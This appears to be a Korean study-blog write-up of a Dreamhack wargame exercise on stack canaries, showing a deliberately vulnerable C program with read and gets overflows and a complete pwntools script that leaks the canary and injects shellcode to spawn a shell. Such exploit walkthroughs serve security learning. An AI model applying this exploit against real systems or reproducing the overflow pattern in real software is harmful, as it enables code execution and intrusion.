songining
article thumbnail
checksec ./ํŒŒ์ผ์‹คํ–‰๋ช…  # ํ•ด๋‹น ํŒŒ์ผ์— ์ ์šฉ๋œ ๋ณดํ˜ธ๊ธฐ๋ฒ•๋“ค์„ ๋ณด์—ฌ์ค€๋‹ค. pwntools ์„ค์น˜ํ•˜๋ฉด ์‹คํ–‰ ๊ฐ€๋Šฅ

์นด๋‚˜๋ฆฌ๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธ 

 

์นด๋‚˜๋ฆฌ๊ฐ€ ์ ์šฉ๋œ ๊ธฐ๋ณธ์ ์ธ ์Šคํƒํ”„๋ ˆ์ž„ [์ถœ์ฒ˜ : ๋“œ๋ฆผํ•ต]

 

#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x50];
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf); //byte
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  return 0;
}

์ผ๋‹จ ์œ„์˜ ์†Œ์Šค์ฝ”๋“œ ๋ถ„์„๋ถ€ํ„ฐ ํ•ด๋ณด์ž

 

- buf์˜ ์ฃผ์†Œ ์ถœ๋ ฅ

- buf์™€ rbp์‚ฌ์ด์˜ ๊ฑฐ๋ฆฌ ์ถœ๋ ฅ (์ฆ‰ buf+ canary๋งŒํผ์˜ byte ๊ฑฐ๋ฆฌ ์ถœ๋ ฅ) 

- ์ฒซ๋ฒˆ์งธ input : 0x50์งœ๋ฆฌ buf๊ฐ€ ์žˆ๊ณ  readํ• ๋•Œ๋Š” 0x100์„ ๋ฐ›๊ฒŒ ํ•ด๋†จ์œผ๋ฏ€๋กœ ์Šคํƒ๋ฒ„ํผ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ทจ์•ฝ์ ์ด ์žˆ๋‹ค.

- ๋‘๋ฒˆ์งธ input : gets๋กœ ๋ฐ›์œผ๋ฏ€๋กœ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ทจ์•ฝ์ 

 

์ต์Šคํ”Œ๋กœ์ž‡ ์‹œ๋‚˜๋ฆฌ์˜ค

 

์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ 

from pwn import *

# ํ™˜๊ฒฝ ์„ธํŒ… 
p = process("./r2s")
context.arch = "amd64"

# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16) # 16์ง„์ˆ˜๋กœ buf์— ์ €์žฅ 
print("Address of buf", buf)

p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0]) # buf์—์„œ rbp๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ(0x60)
buf2cnry = buf2sfp - 8 # buf์—์„œ canary๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ(0x58)

print("buf <=> sfp", hex(buf2sfp))
print("buf <=> canary", hex(buf2cnry))

# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload) # buf์™€ ์นด๋‚˜๋ฆฌ ์‚ฌ์ด๋ฅผ ์ž„์˜์˜ ๊ฐ’์œผ๋กœ ์ฑ„์šฐ๋ฉด, ์นด๋‚˜๋ฆฌ ๊ฐ™์ด ์ถœ๋ ฅ(%s๋Š” null byte๋ฅผ ๋ฐ›์„๋•Œ๊นŒ์ง€ ์ถœ๋ ฅํ•˜๋ฏ€๋กœ!)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7)) # ์นด๋‚˜๋ฆฌ ๊ฐ’ ๊ตฌํ•จ 
print("Canary", hex(cnry)) 

# [3] Exploit
sh = asm(shellcraft.sh())
# 0x58๋งŒํผ ์…ธ์ฝ”๋“œ + ์•„๋ฌด๋ฌธ์ž / 0x8๋งŒํผ ์นด๋‚˜๋ฆฌ / 0x8๋งŒํผ ์•„๋ฌด๋ฌธ์ž(sfp) / ret๋Š” buf๋กœ ๋ฎ์–ด ์…ธ์ฝ”๋“œ ์‹คํ–‰   
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf) 
# gets() receives input until "\n" is received

print(hex(buf))

p.sendlineafter("Input:", payload)

p.interactive()

 

[์ถœ์ฒ˜]

dreamhack